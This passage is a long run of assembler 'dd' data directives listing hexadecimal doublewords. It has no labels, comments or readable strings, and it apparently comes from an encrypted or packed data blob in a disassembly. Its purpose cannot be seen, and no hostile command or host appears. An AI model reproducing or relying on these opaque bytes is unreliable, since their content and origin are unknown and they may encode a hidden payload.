4F87B8D8h, 78AFE2CCh, 0CBDE7629h, 0FA0E8449h, 6819AC14h dd 0F4D951DCh, 0E697CE05h, 4ABAFE25h, 82B92765h, 68B05FA6h dd 16BC72E9h, 82F0210Bh, 4308E8F3h, 4E54EB53h, 62758BB1h dd 912FA5h, 3E4FB951h, 0F12E0324h, 0DCD3570Fh, 560D0A5h dd 0E92B3734h, 0D4B6F1B1h, 14968726h, 171EAF4Fh, 66C9F1EDh dd 0B70F9301h, 0E14070C0h, 0AB602641h, 3C29D10h, 0E49FB4C1h dd 6C334F6h, 7FF028E0h, 3026979Fh, 49902853h, 0E8B51DEAh dd 2776C0F3h, 65E27099h, 681292F8h, 56BC154Dh, 1E4C8AC1h dd 88037018h, 55C106A0h, 3F864A1Ah, 0E7D4238h, 35F9AF08h dd 0A3AC4A6Eh, 0AA6A310h, 30300D68h, 5452578Eh, 0B5BBB0B0h dd 4F370779h, 830F9DBFh, 0F0D2E96Fh, 0EE88C896h, 0D9955940h dd 0C85D6237h, 59D9145Fh, 2931CBA1h, 715731FCh, 0D20ECE03h dd 0ADE93DD1h, 2C62126Bh, 112A6850h, 2AAE6541h, 4B94E120h dd 2D6DF45Dh, 0DDD864Fh, 838C283Eh, 65263BEDh, 0ED6CB5B5h dd 4534EC9Fh, 0E294302h, 5AD30D04h, 1EB8C328h, 342D5B1h dd 0CD18055Bh, 90070945h, 549F1EFEh, 503FEAB6h, 4437E908h dd 8CD0713Ah, 4F28B773h, 1695C401h, 12C8CB08h, 14E2A7C5h dd 0DFA45478h, 5A739758h, 0FBC8F08h, 80C1E188h, 6130CFF1h dd 3AC3D813h, 0E35EEBF2h, 0E9D4C5F5h, 0D500950Eh, 959CF31h dd 685FFE0Fh, 9FC912FCh, 13F4FF30h, 0F16F3A42h, 812987F6h dd 7FA7FFF6h, 0FAF92BC9h, 0BFB875E1h, 0E54FAC64h, 0F4491EE7h dd 38553993h, 0EC444B8Ah, 290540EFh, 0F61780CEh, 20F54350h dd 91A80F3Eh, 0FEB68523h, 670B0382h, 0FC4D5833h, 125A96F3h dd 0E46DF15Dh, 0B8BACF7Dh, 6C3D677Eh, 0FABD2752h, 9F78FE9Ch dd 661C5FECh, 590CDF30h, 0F8026256h, 0A7355C23h, 38827F00h dd 0FDE9DE29h, 0F5E2E4Eh, 33E18FC4h, 0D2871CBAh, 0EB3F70D0h dd 7027808h, 68C32937h, 9299DE15h, 0EA378403h, 0CED2661Ch dd 0F0FEDC8Ch, 0FCC63E80h, 11E9F085h, 0C89F4935h, 6CB35080h dd 0D3E4DBF6h, 8C3FE33h, 0E96E16C0h, 0EF04207Bh, 64E86CA8h dd 38283B7h, 2C1B138Bh, 2CFCBD24h, 0D610B75Dh, 0EA875A0Dh dd 32FDFFEh, 32997801h dd 0EA3DCB76h, 15640E8Fh, 5744FFB2h, 0AD010284h, 88207F83h dd 0B339E6h, 6B7A4AB9h, 0CF5C294Dh, 9CBA208Dh, 0B0974FF9h dd 9905890h, 0BC90F6A4h, 323DB704h, 0A4C0411Ah, 9CDC24Ch dd 59CE01E5h, 2FD00BAh, 5594E9B3h, 0CD1F0845h, 2ECD6417h dd 76C56Eh, 710A98CBh, 0D85BE9DFh, 0FFBFEE00h, 4B627C13h dd 0D2B5A209h, 0E61076E9h, 28184C39h, 151D98Ch, 287AF5D0h dd 0A85A48F7h, 0C0BF4EE9h, 0E8296699h, 8F575D3Ah, 34083568h dd 0B58D17ACh, 74C527D0h, 726B4839h, 803C541h, 4B94E4E9h dd 8A8661BFh, 33680683h, 0AD231BD6h, 478B621Dh, 0FBD37A6h dd 0C34CC4BEh, 0E1611B05h, 2DFDF001h, 2FA20FACh, 14711038h dd 7B756882h, 0A0105AB8h, 0F20BCAB4h, 4447D87Ah, 72B20C02h dd 12E0FB3h, 9E05DE17h, 955975B0h, 0F2930CD1h, 14E56F5Eh dd 61DCBCFDh, 6EDA51E9h, 0F640DB97h, 0A0E6C0D6h, 0D2ADD2CBh dd 7455271Ah, 8321BCFCh, 160C7B68h, 67F4B8C5h, 9B76C933h dd 0F8F6E0DAh, 564780F3h, 4B08BE02h, 0E331E580h, 0B0DE3AD2h dd 0D254233Fh, 4008A2C2h, 91FF2A6h, 89B38FCEh, 30E91690h dd 0E0B5AFB2h, 7C0BC58Ch, 0C606054h, 4FA43553h, 4C893E96h dd 4BFF1BDh, 0EE594268h, 4117B931h, 8413246Fh, 837172CDh dd 20945509h, 4C25C6B5h, 7B00705Ch, 6844103Dh, 0EF25C285h dd 0E65EBBh, 76E302CDh, 3A98E9C1h, 89B9AC54h, 3F1F5B9Dh dd 8EAFh, 7444EFBDh, 0F581610Ch, 4BE90DEDh, 806A023Ah dd 5EC1BEF3h, 6A1FED8Fh, 62E7BF40h, 0EC3C6B42h, 10ABC5F7h dd 814E8401h, 35371EE9h, 18492FFCh, 16504279h, 89D3B4E7h dd 9AD540D4h, 2E18DFF5h, 7BC0108Fh, 86139FC2h, 20B79111h dd 460CC108h, 312FAD6Fh, 0DC71C296h, 40D35F9Ah, 3502E1C0h dd 0F7B065BEh, 0E7B1168h, 2AF8C505h, 0ED2DC083h, 0FE7ED666h dd 0ADE98938h, 565C012h, 736D005Ch, 68C8011Dh, 309658CEh dd 1720646Fh, 4BF4DC5h, 29C2CF2h, 5E2DCA68h, 66C662FBh dd 7BAFFDE5h, 0F2200Eh, 676E44AAh, 1918E941h, 0CA9E3A8h dd 4DD920h, 39146A56h, 67E9EDD1h, 47590995h, 9FE9899Dh dd 0CF885960h, 2CB0FCE4h, 0D1B54F25h, 27FC2CDDh, 376820C0h dd 0AD302F4Ah, 48C23FEBh, 1479A36Ah, 0C57B1054h, 0D26BFB01h dd 0CCB85011h, 0E00983Fh, 3540D0F7h, 781A2146h, 0D84B67h dd 68302D55h, 11FE3AAh, 9658E9C5h, 14C1EAB7h, 0E4A47021h dd 58B2D158h, 0C80F14D5h, 680E9FF6h, 0EA71602h, 47016248h dd 12F1917h, 44E9E1F9h, 0E5142408h, 7E65FD6Ah, 2DB29A04h dd 0BBD4B2C4h, 0A14B3FF3h, 0CEB22F80h, 3CC2800Eh, 0B4FDE267h dd 4BFAA862h, 3FBD0295h, 5984BBA2h, 7975AF01h, 0A86465AFh dd 0E80A4D6h, 7C791FF9h, 41E53A2Fh, 74A5892h, 64193D60h dd 8234FC0Ah, 6852D587h, 0C2D6F749h, 1AE95A0Bh, 0A571E26Ah dd 5EBCBD0Bh, 0FA685043h, 0E9134192h, 55E335A5h, 40801817h dd 0F3763626h, 0C65A310Ch, 0ADA1F884h, 7E93CA6Eh, 13BCDE26h dd 1D2F678h, 0EA80C2FEh, 38DBE9A3h, 70B80224h, 0E274687Eh dd 40D571E6h, 0BF57FB01h, 0DD0C440Bh, 6843E25Fh, 0A059413h dd 98E96038h, 59C5ADF0h, 0E2305625h, 5F097FACh, 0E11FA390h dd 32B712C1h, 1D61FE88h, 8195C83Eh, 6C64B241h, 0E3CFB84Fh dd 61681F84h, 7F18D824h, 78376E02h, 54387CE9h, 0D0B871BAh dd 4606B456h, 3D79F3BDh, 0A2532556h, 0C4247F66h, 2041443Bh dd 0ED41D430h, 0BB04D84Ch, 5C551D1h, 907CF0F0h, 77400C12h dd 2C0C1588h, 9F947617h, 94C168B0h, 0BD9B0863h, 4B6CE281h dd 802F204Ch, 5FA33B1Ch, 790AF0CCh, 969048F7h, 6497B520h dd 5E5BA2A5h, 3CE95087h, 0C4B224F3h, 0A6406CEEh, 5E4A0BBFh dd 3B003515h, 34E1656Bh, 0DFF74718h, 0CEBEA2F8h, 4EAEF61h dd 0FBBF81AEh, 6A622D65h, 968C228h, 399E54D3h, 0BDB3CC08h dd 89326676h, 9BB03114h, 23A6CA1h, 1CC65D5Ch, 7B319D80h dd 0E95D1209h, 9573F861h, 57C05E43h, 6F983CFDh, 51A10D04h dd 74C74402h, 2606064Ch, 0E3B005h, 0C378BA4Ch, 116B731h dd 8CEC58C2h, 0F702D059h, 0C0E951DAh, 0F0668CA4h, 7E416B43h dd 4367D300h, 9B564D7Fh, 0BA275924h, 0D4735225h, 9802D002h dd 2CD5E1Ah, 0A914E0CEh, 6BE68560h, 3351201Fh, 965C607h dd 0E2E9EB11h, 0B9A4002Ah, 52556191h, 0E8C82928h, 9DE9641h dd 23D45A40h, 5965D21Eh, 401EC902h, 0F1C8C0E1h, 0FFD3023Bh dd 2992E9D1h, 1D9A0D00h, 351C0327h, 9FA77D99h, 8F5826FAh dd 7B8B5A4Eh, 9168247Ah, 4016172Fh, 67C68069h, 476EEC0h dd 0D0F4CE1Dh, 787EF8BDh, 0D033F627h, 1D542C1Fh, 0AC0272ABh dd 6801BCB0h, 1354035Eh, 287099BAh, 70E91380h, 2CEA5B54h dd 65AE87C9h, 0C285D888h, 0EB790E6Ch, 0BA03E096h, 5815803h dd 0E94B0D51h, 14301F6Dh, 0E920C6Ch, 5FF38594h, 862FD471h dd 44C72919h, 6B4029EDh, 0E94CA20Ch, 962BD8A7h, 0FDF7082Ch dd 5F9BBD00h, 2529856Eh, 0CB7A5DEFh, 0D43160E4h, 8C996C59h dd 161D8F3Ah, 747983Dh, 0C182505Bh, 0EA696995h, 0C084807Ah dd 3A58205Ah, 75E20235h, 8F4E2957h, 594922A4h, 56445533h dd 0DF78F7B0h, 598EC725h, 2ED96BE2h, 4ED583A5h, 0BF80FC63h dd 48C639EAh, 4624634Bh, 120D035Eh, 0E010E09h, 523589F6h dd 626F293Ch, 75F40125h, 5B378F03h, 2C0C4138h, 0F88D652Eh dd 0A280B1EDh, 0B9137F17h, 0F8E09669h, 0ECE59759h, 0C5C72DBBh dd 73E98603h, 0EE072309h, 70F3B34Dh, 56DF29B2h, 9AD68CD3h dd 5259500Dh, 0E1F0142Bh, 81A61310h, 10DCADACh, 0E4A25E08h dd 0D252EAC8h, 8DCC20D8h, 4AFC5D4Ah, 0A0FF10A4h, 525ADF98h dd 4FA3E934h, 0B9D29CEDh, 805AD79Fh, 6C895F25h, 0C4621C5Dh dd 0D2FBE96Bh, 4DC00174h, 62797EDh, 0AFE97E85h, 16973DD0h dd 13C599A1h, 1048F266h, 6A757BD9h, 133C0BD4h, 0D41BA1F7h dd 94975BDAh, 3F681263h, 59DCCC16h, 72312E40h, 8C564E8h dd 9771B051h, 8E9B1ABDh, 907497FEh, 404BB7A4h, 68025539h dd 35214841h, 0E69CAF5Dh, 44ADBB12h, 0B305BF7Eh, 3105D473h dd 63E7FD09h, 5922C05Eh, 0B04A7A67h, 0B7C4921Ch, 4777F662h dd 0C8E98462h, 0BD49EB9Fh, 0BA6DD8CFh, 117A2D94h, 5911D86Ch dd 363514D3h, 0F7655691h, 0B1885FB1h, 0A00B4A2Ch, 0E76419F9h dd 0B5218CDh, 0B040A619h, 0D298DEF6h, 0A51E2E5Ah, 0F7286C04h dd 0BEDAFC2h, 692D3E56h, 4C265B6Bh, 0C0B15182h, 0A14B13DDh dd 592CD8BBh, 1B22A2C6h, 0E47AD32Dh, 0CAED821Eh, 0ED668F50h dd 8F02DBDEh, 3C0BD53Fh, 1256A35Eh, 0F2B0D8E9h, 0D6B12568h dd 997E1468h, 4D86AFA7h, 309CE197h, 8EB8A42h, 93923BBAh dd 8514A2BDh, 0E4B8A669h, 396851C1h, 39E63B3Ch, 0BD782C96h dd 3B3998B5h, 0EB13044h, 1B2D32A2h, 0EF038898h, 2AA93C78h dd 1CAFB4D1h, 9C2D721h, 8D558B51h, 9528E08Ah, 7A542905h dd 9AFDC05Dh, 2BF3E70Ch, 812EE4E1h, 0EE79B389h, 248AB085h dd 926EE25Fh, 0C1426609h, 53DCAC85h, 80DB02B3h, 0DD8826C3h dd 2C1983C1h, 478BDE8Fh, 1F848562h, 2EB129D1h, 611866Bh dd 0CB28B31Bh, 605EAE42h, 50552746h, 3A0BDF68h, 0DE586225h dd 7E63006Dh, 0C5894D99h, 31072EF5h, 1FE04B2Ch, 0D2BC49E9h dd 0E2B8AC0h, 7253565Eh, 0D3EEB791h, 27B1F054h, 811F953Fh dd 289965Ah, 0B55D4C0h dd 43F2EDD1h, 0A47EA49h, 0FA33C868h, 1017F88Bh, 14700C7Fh dd 868901CCh, 1257A34h, 914F60BCh, 0B1006B44h, 296A2ACBh dd 0F4E3EC02h, 66B3041Eh, 0E4EB41E9h, 7838DCFFh, 4798DA10h dd 1E70BE28h, 58A17150h, 7817632Ch, 910FBA30h, 73720DF2h dd 1E31B0C4h, 0EDDC20C9h, 0BA52D090h, 581F2618h, 0C222EA88h dd 5AD6290Dh, 68B5AEDAh, 24B0B934h, 132707Eh, 2C980ECFh dd 60D16A31h, 122B91E9h, 0BB198427h, 7D75418Fh, 0EAE5C07Dh dd 54AA62CCh, 0F310295Ah, 78F74F08h, 7D78C910h, 9B9755F4h dd 0DE5DB2F3h, 0A17240Ah, 9DECC619h, 2627FCE8h, 524E9E66h dd 98379121h, 60D1C97Fh, 0DF410FAAh, 16C28460h, 0ECEFD4B1h dd 76CC6BCBh, 58019846h, 69C9CCADh, 4F41E6F8h, 0D8083253h dd 0B050CA62h, 0B9895926h, 33BE6C0Ah, 3A235602h, 98467542h dd 508E0469h, 0BCB1B505h, 2E0C6528h, 8E766B8Bh, 0ABC6817h dd 211316B3h, 6F3E32Eh, 10160841h, 153800B2h, 9BE3402h dd 55691468h, 0A6E1D654h, 3DD81079h, 0B0AEC888h, 7C28FC2Ch dd 98E9E8F0h, 0C397C053h, 7CAD1FD6h, 30E25E4Bh, 80BE982h dd 276218D6h, 317BEC05h, 0CB7E8864h, 4F5E0177h, 0CFE87331h dd 5A09FC3Bh, 0E91360F9h, 0DD0EE695h, 0E6CB011Eh, 3AA452h dd 5FF78058h, 0FC885066h, 75D4F63Fh, 5AF8E677h, 0B4FA58F8h dd 0C7808A12h, 0AEE7F10Eh, 1821B3EFh, 9E05932Dh, 3BE90BD7h dd 4F13C6FEh, 0A5A8BD2Ch, 0A20B8409h, 232A2026h, 407A88CBh dd 15C523F2h, 358AE283h, 4E978A4Bh, 0B9B275B8h, 0A8081055h dd 6FEC9CD9h, 0B2C5B725h, 20410B35h, 0A5B58F0Ah, 43AC3584h dd 9EF75B89h, 0D5CF3283h, 4662AC42h, 0DFFAD602h, 1815603h dd 534CF53Ch, 4535580Ch, 12E48B06h, 38EEC329h, 0C3821C00h dd 0BD5625FEh, 0F0A9657Ah, 832CEDh, 6856585Dh, 57E237DBh dd 500314Bh, 64214FCCh, 2D50F001h, 312DE907h, 3253AB1h dd 4EB94C8Fh, 0C1DAFD18h, 0F77B76BAh, 0E6CBFACAh, 0FDDE24D9h dd 289C243Bh, 94501A9h, 0F5E9484Ah, 0AE343AB4h, 53895FAAh dd 7D5EF15Dh, 0F680F26Dh, 0EDB916E2h, 0CE3117EEh, 12FD9408h dd 0B5E8E85Eh, 1A3CEBCh, 762245FCh, 0A19A32E2h, 6CA641C8h dd 0DCB0155Fh, 907A04D2h, 0BBDDF769h, 0F1CFA4D0h, 42F56284h dd 8E8B08CDh, 8A0967Eh, 0A220C890h, 19B23BD9h, 91624AA7h dd 0FC14E6C1h, 3EB410E1h, 5152EF80h, 7EB6FDB5h, 9F9231F8h dd 0E14AC32Dh, 4A0D3CFEh, 0A9B499ECh, 58A4E40Fh, 0F7E46035h dd 856638F1h, 0EE4FAA76h, 128B9B9h, 0A83A27ABh, 5F77428h dd 0C18C766Fh, 2C46B2Fh, 1D86C059h, 14AE1F57h, 0A6D04C41h dd 0EF09EA5Bh, 80676424h, 0C3944513h, 0D32906B7h, 27902FE9h dd 0BFAF338h, 0A04B4D26h, 1230C308h, 29861272h, 8315E0D8h dd 57E6CA82h, 0DC73EBA2h, 5A6EE609h, 25F1CB01h, 0C9655687h dd 5830696Ch, 5AD4884h, 0A63B188Bh, 0BF577A4Ah, 6F032D0Bh dd 7B3F004Bh, 0F45AA855h, 4F71E21Dh, 140EC5Bh, 0E909083Fh dd 0A78BF06Dh, 0B75659CEh, 0D6900EC2h, 0F0C46B20h, 315CC172h dd 0BE7C24BBh, 39CAC89Dh, 0EB93F982h, 54C37E09h, 0D00969E2h dd 54F6E123h, 0DB6001C2h, 1B4DDBE9h, 434617A3h, 5ACC27A8h dd 3F4AE911h, 57580C07h, 2F799F73h, 92E05A0Eh, 56822736h dd 148A2A7Ch, 0B30C8C2Ah, 0AB507F00h, 0E9F3297Eh, 0A5809030h dd 0C70454F7h, 4A2CF8D6h, 329409DAh, 3A9ADC48h, 0D07A062Fh dd 0C1401EEAh, 690500E0h, 500EE49Eh, 0B2EFBCC9h, 43C75532h dd 57D392A5h, 30414A2Ah, 0E90845DEh, 0D1172127h, 1EDC8C5Dh dd 0A14059FBh, 0FE5A1CB3h, 0FEC396CBh, 8228660Bh, 2E14AF4Fh dd 0B9787FC4h, 0D8AFB4B6h, 69F5FDC5h, 33021041h, 0F2BE77Bh dd 0B3E2B194h, 0C4C0303Fh, 8180ABE0h, 6F780CC5h, 77C4CFDh dd 881600BBh, 693F7BE1h, 0DF249056h, 51D4BA00h, 75B825A4h dd 551BFC04h, 1CC2D001h, 685200C4h, 84A8259Dh, 0DE829743h dd 0AB1D8278h, 45FA690h, 5FF929ECh, 0E6D45E25h, 0BE02E1Dh dd 588068ADh, 60C0471Bh, 114FCC09h, 2DC905A2h, 0E989AE7Ch dd 6069C2B5h, 28490B4Dh, 6A9D64E3h, 9462FC9h, 244ACF86h dd 9C60157h, 0C07ADA0Ch, 1B68DD6Bh, 690C1867h, 1509950h dd 455398C3h, 3CD8217Dh, 0F3EEC0C1h, 765E4463h, 4CE3A301h dd 71E41311h, 4B87FE9h, 0FBF72D98h, 17DCCA3Ah, 0B8E056E9h dd 0FF700BBh, 0CB812B07h, 0F92626EBh, 0C71D710Bh, 0C66860Ch dd 48310411h, 0F8DF8915h, 0BBB90002h, 0FD29A7CFh, 571ABF5Fh dd 6E76594Ah, 0D6E989E7h, 0A46CC99Bh, 0EAE95F16h, 47B14B1h dd 14D5AB92h, 6E7D0527h, 1FEA55A3h, 0C3120766h, 0A9BD8362h dd 6A1AB22Ch, 0CD18013Ah, 85BFE901h, 5881316Bh, 12C2B05h dd 0C4BB27E9h, 0BE300EE5h, 0C0525A51h, 0E26F23A7h, 68D05D34h dd 595A0F07h, 224AB29h, 7EB0595h, 7AD50F68h, 91BA757Dh dd 38983B5Eh, 86F3891Fh, 5E960F12h, 36178EFDh, 1E0CF272h dd 0F28CD9B3h, 12E13FD4h, 0BD19FD68h, 0E952822Bh, 2D4A5898h dd 7971FB01h, 5E1B47C2h, 5A5470E5h, 0DDE9ACA0h, 1245174Fh dd 24B62B4Fh, 0E913CC93h, 41D2826h, 80852165h, 4075D5B4h dd 7B3368FFh, 7D378D3Eh, 3C77274Dh, 1CB593C4h, 42AC9EE5h dd 0A77D18B9h, 638206ADh, 0A708FEAFh, 2C08C551h, 77F02776h dd 0CF5A27F0h, 0E5B05424h, 757C3F66h, 2902A414h, 66BC448h dd 0D0E535F4h, 56395EF9h, 7B03C366h, 25607295h, 2F96715Ah dd 0BF4F5FFAh, 16826927h, 3AB1FA1Fh, 0E3604881h, 80F8B252h dd 515EEA04h, 0BBC2D188h, 7429079Ah, 944FF853h, 1F550542h dd 0DEB017D9h, 7108A2C5h, 2700AC36h, 0B72F5444h, 59B35A95h dd 15E2B54h, 0D9A3946Eh, 0BC1F3BA4h, 18E050D7h, 22B139BDh dd 0F8260D30h, 0C14B0EEFh, 0E7D127E0h, 147AF2ECh, 0EB34505Bh dd 73B87625h, 5CBBEB01h, 45E01B8Bh, 0A0751EBBh, 6109BC98h dd 8071BC1Dh, 4EB3EF33h, 2BD09F6Eh, 29F2E1BFh, 0A8B0C8Eh dd 0A46053C9h, 5B5E0568h, 0E59B2431h, 0FB67D57Bh, 7EDAE85h dd 0F501D59Eh, 457DA9DAh, 9F3135Bh, 52D425AEh, 137CF59Dh dd 0D012E4C7h, 16C2091Ch, 0C176CDD6h, 0FE385E44h, 0F251EC4Fh dd 14E1725Ch, 0FEBD3F3Eh, 279CBA00h, 0EA816ED9h, 0F1C770Bh dd 279B5436h, 2B84B262h, 2BC5001h, 4BE37BF3h, 870D929h dd 87008C2Bh, 4E781CFh, 37462E0Fh, 4FF106F9h, 0AAFC0C3Fh dd 54E84D10h, 0F906BB05h, 0D3AA8731h, 0E9A042CAh, 0C7971E52h dd 0F5AEB5B0h, 2FB061B0h, 5029F7E4h, 9CA595F1h, 305C05A2h dd 257EA6F0h, 0EF835269h, 0B5D09230h, 28B1F8C3h, 0BF5EDAF8h dd 76E90241h, 8140B978h, 806CA04h, 3D1D0290h, 60659DAh dd 0C60E0012h, 0D63107CDh, 0C4C5895Ah, 5AFB8E6Dh, 90D7C920h dd 9E2D84F7h, 4C024B65h, 5F05DCC5h, 3CEE88D4h, 0E6BE66A8h dd 126F6088h, 0E84B1368h, 53BDD33Dh, 0BAF7E909h, 0CCEEF5D2h dd 0DDF4D6BAh, 74AA041Eh, 1053B093h, 0C32605BEh, 0DB18AC95h dd 2AEAD12h, 65A26853h, 54129051h, 92DAF2h, 0CC588C6Fh dd 4A24E964h, 0B281F9CEh, 0C0CAFED4h, 17802920h, 428A8C2h dd 14FA5AB7h, 7F2E056Ch, 0BD0876BCh, 836617DDh, 0F2DE5D3h dd 2596D02Dh, 7EE6D355h, 0EBB2D02Eh, 0AE219E93h, 8E2EB716h dd 55EC5A0Dh, 10238B4Eh, 8F0FAF1Eh, 0AE044047h, 4940AA6Eh dd 0A05B951h, 0C1531D35h dd 1D92A6E1h, 3E92F956h, 0EE1544B6h, 4523C008h, 0B4EDD29h dd 40D4C7E0h, 0DA9735B8h, 0BE30F4FCh, 19C1831Dh, 61F74964h dd 305291F1h, 0D96CF79Ch, 121404h, 56D38D4h, 15B933E6h dd 7C108BFh, 0F818042Ch, 250DC578h, 80B176Dh, 0E79E6B02h dd 0CF845905h, 5D0BCA80h, 0C17A2C8Fh, 293500ADh, 0E93FDBC7h dd 64243B2Fh, 9D4EBD6Ch, 25EEE5B7h, 0ECE612ABh, 1344284Fh dd 0C64B6E0Fh, 0BB1D2057h, 486957EBh, 255AE429h, 0E20BBF5Bh dd 12295D5Bh, 76CB18FCh, 16AE8000h, 0E957020Fh, 5590EE5Fh dd 5C840B8h, 0C629EADFh, 8AC1AB58h, 8107AE7Bh, 2F1CAD68h dd 4EFBDFCCh, 586FDCEFh, 880DB295h, 2B421A7Ch, 8129047Bh dd 3D413EFh, 913BD8BFh, 0B42FF419h, 5AD1288h, 0F926C8BEh dd 1FFB07C3h, 1DB4AA45h, 6B5252E0h, 7704E55Dh, 3573F086h dd 0D66AD20Eh, 0DB9EA16Dh, 0C9FCBD10h, 175B9782h, 93470D82h dd 205A583Dh, 46A1860Eh, 4B8A3CE4h, 9698881h, 0E64BA473h dd 0A4171618h, 5AAF4BB4h, 0EE2638FEh, 3EF19786h, 7EA5B869h dd 82249501h, 2768BC6Eh, 0F643404Eh, 0E705171Ch, 407D1620h dd 78832D07h, 0F7005116h, 72BC0DD0h, 35495Bh, 1CC1306Eh dd 0E6D8132Dh, 0C589CE17h, 0E492413h, 4A5A4188h, 0E424E26Bh dd 0C33788BFh, 0BED56C41h, 2A20BA6h, 25BA7DC5h, 5711427Fh dd 0ABE9E690h, 0D05127C9h, 53E60B7Fh, 71D36AC4h, 0F3810CA0h dd 0D4040799h, 0EDE562D3h, 6C173CCBh, 93D5B389h, 5D4867F2h dd 0C6680D04h, 0D350EE46h, 55404808h, 21A7E04Bh, 3E5120A9h dd 5DE92428h, 0BB00BC74h, 3B7E647Ah, 449CDA31h, 5AD5E958h dd 0ED87C89Ah, 48ADBC9Ch, 0DDDBEF81h, 0BF7C6DBDh, 3444E0A5h dd 15C69D9Ch, 18586614h, 16229DBFh, 63346850h, 0ECC85729h dd 6B5F4607h, 0C737E067h, 0E7C14F90h, 0F9E92D07h, 4A5D746Ah dd 0D5F34A9Fh, 0E92D499Eh, 0CE3EC247h, 0F460ED8Bh, 1006600Eh dd 3E48C3B9h, 3260F48h, 3A094317h, 75B3FAE9h, 2E613E1Ah dd 2D1381BBh, 0CE0EF92Ah, 365E3EDh, 7D02E72Eh, 51F9812Dh dd 0C7680669h, 1DE8996Dh, 7E1A6ABFh, 25575176h, 0F5216E39h dd 0B8D875Ah, 62856B60h, 9C3256Fh, 696D799Ch, 0F9D5CFEh dd 5D41E804h, 0CA0183EBh, 0D83C74E1h, 48141FCDh, 1E9217C0h dd 0E81393E3h, 0EC404BACh, 5949758h, 0AC2DE916h, 0B6B8BF4h dd 2131C565h, 0CE01498Bh, 60B22CFCh, 3A3EF66Ch, 270BB43h dd 0C139AACEh, 4ABC4125h, 0C02F8D31h, 8AC4D9A3h, 0BCA1FE5Ah dd 4A4EA2ACh, 0BA442C22h, 2F438DDFh, 0A30E899h, 93C360CCh dd 6B45DCEBh, 0F15A1D25h, 0F1F68922h, 0EF0E90D5h, 3578203h dd 0F0A8CEF4h, 987CB551h, 227FE936h, 0D8540Ah, 98D6C225h dd 9DEFDDAAh, 19428DECh, 0D36A8D15h, 36E6680Bh, 0E46F8FD4h dd 198DC582h, 3D767E1h, 2009EFBDh, 27D926C3h, 5B39BB0Dh dd 48B0AF92h, 125704F7h, 0BF6AB151h, 3091AB12h, 0FD2605DAh dd 0F2C62E12h, 5E54C75h, 6F91724Bh, 4F4F30C3h, 0B7A2E80Dh dd 0D4794B33h, 0C9810600h, 0D39E72C0h, 0F3BCE905h, 8DAB6F85h dd 0D5CC2E6Fh, 0A1680152h, 0E95E1E20h, 5CE57490h, 14B6517Dh dd 83A5C152h, 25A23302h, 0A8902166h, 20D669E5h, 0A0F04BD9h dd 4518C5E8h, 705FC87h, 92D8855Ah, 0FFA319E2h, 0D331DA9Ch dd 0EDE0593Ch, 8088AF04h, 0C2EA5181h, 105EFA11h, 7A04CD6Dh dd 0AC773A6Ah, 85D03E27h, 0B3E91A1Dh, 914FCAECh, 0ED37C653h dd 0A4002B39h, 4A67ABBEh, 0ADF89552h, 694F4CB7h, 0C682D979h dd 5304BA76h, 0AB0482A8h, 10544873h, 0F05B2D06h, 74D18086h dd 24D2273Ah, 12051252h, 4978BB44h, 0F08341EBh, 2A16F610h dd 5AD51C91h, 1D306AD8h, 2442835Dh, 721E3Ah, 914A33Ch dd 0A92DE961h, 0C5C471C5h, 7C24AB58h, 81FD8912h, 6CFA2914h dd 9CC47290h, 10DBA3D0h, 5125FB2Fh, 892554C6h, 0DD429AC1h dd 0C1E0BD8Ah, 2C1EE068h, 4759CF45h, 130E75B4h, 0E9732CABh dd 52A89D2Dh, 0FD8CCCDCh, 7DB6B91Fh, 1867EA47h, 0C1FB7F94h dd 7A20DC5Ch, 50FC828h, 4768C8BFh, 51B3A27Ch, 0FECD2AABh dd 0ACAECD3Bh, 6C08F310h, 96501DCBh, 58D7800Ah, 140CB353h dd 602E3C0h, 0B2F0FE06h, 38229F30h, 0C6774481h, 22F4A2D8h dd 64B465A2h, 1D540A19h, 16EA5C07h, 0B6D06C7h, 0BFEC1FD3h dd 0F2494A3Ch, 66390990h, 751CAC34h, 30FF631Eh, 27140C1Ah dd 81A451E0h, 0F7FCB145h, 0DB9552A8h, 0B1E288D8h, 8E087C2Ch dd 9D5B127Ah, 68089325h, 505E2AD2h, 83C8E8DBh, 40BB81C4h dd 0C3310122h, 2D6ED935h, 96FD32A1h, 0F14286A7h, 0FFCF6362h dd 456DE47Ch, 5F05B468h, 54A4E75h, 0AB21C065h, 743E498Dh dd 4C8FBE82h, 92FAB84Ah, 0BC967DB3h, 967D8555h, 20FB9653h dd 0EC069E93h, 0F2324198h, 42010D9Ah, 9C5FCCDAh, 36425E7h dd 88BDB60Bh, 63B27DF4h, 0B22685FFh, 105A0F0h, 20951F99h dd 442DD001h, 90D51C07h, 0F6680BCEh, 0CB615439h, 0A1A19B14h dd 27902D09h, 10C480E2h, 0E34E3988h, 0B4D9FC46h, 0BE8452A9h dd 0F501090Eh, 18556809h, 94C9C482h, 0BAD75094h, 69305C81h dd 60CB7231h, 535008D9h, 254E95E9h, 12884A3h, 67A5201Dh dd 7C1554Fh, 0D02B791Fh, 1138E67Dh, 0F2296825h, 3D069DD7h dd 0F63B1E57h, 816C1E2Ch, 0C173D740h, 4FE94927h, 0FB3612D6h dd 0FB940A3Ch, 568EF669h, 6BC88C37h, 90D9EB44h, 16B85B73h dd 0FA75EF0Fh, 0E3042F64h, 8216E65Ch, 207C6F39h, 6AC1A796h dd 0E48BEB31h, 0AF69B3FCh, 85C16CC7h, 0E0B49FB8h, 0E0041473h dd 0A534FC0Bh, 870EC77Fh, 0AF91EA21h, 0EFA54679h, 0DAE2B917h dd 3309DD03h, 0E757D911h, 95CE7980h, 46164D3Eh, 0B94AD9F8h dd 0ACCAECFCh, 29CE4AADh, 22D629Eh, 0AAE84E5Ch, 0FCFBC42h dd 11F3F50Ah, 0D1880269h, 66452568h, 0F4CFF418h, 0F32E5B57h dd 0FC7D7BC9h, 963EE259h, 2DCEC908h, 0C78BFF56h, 5962197Dh dd 1E53A874h, 1450EEBBh, 16049328h, 0AFD7A6AFh, 2CBA8DC4h dd 42164344h, 0D2203110h, 7023F9C9h, 8B415E14h, 0D1101096h dd 0E34B6838h, 7853253Eh, 0B47B4E76h, 0C02E8F60h, 0EE0F40E6h dd 0B73DC577h, 4E5FBB98h, 88288D95h, 0E7A5BD9h, 42E9FB09h dd 0DCB97141h, 439D8A65h, 0C401A0DAh, 83E92A15h, 0A5BB5FB0h dd 0B6826A7Bh, 0F467555Eh, 681492AAh, 0D28475F7h, 7A640609h dd 0F6D31DE9h, 6EF149D9h, 5A026742h, 0AA4E8703h, 240BAB2Ah dd 7E5ADFF0h, 0B5569288h, 5469FCD1h, 8C1592Ch, 913EFC68h 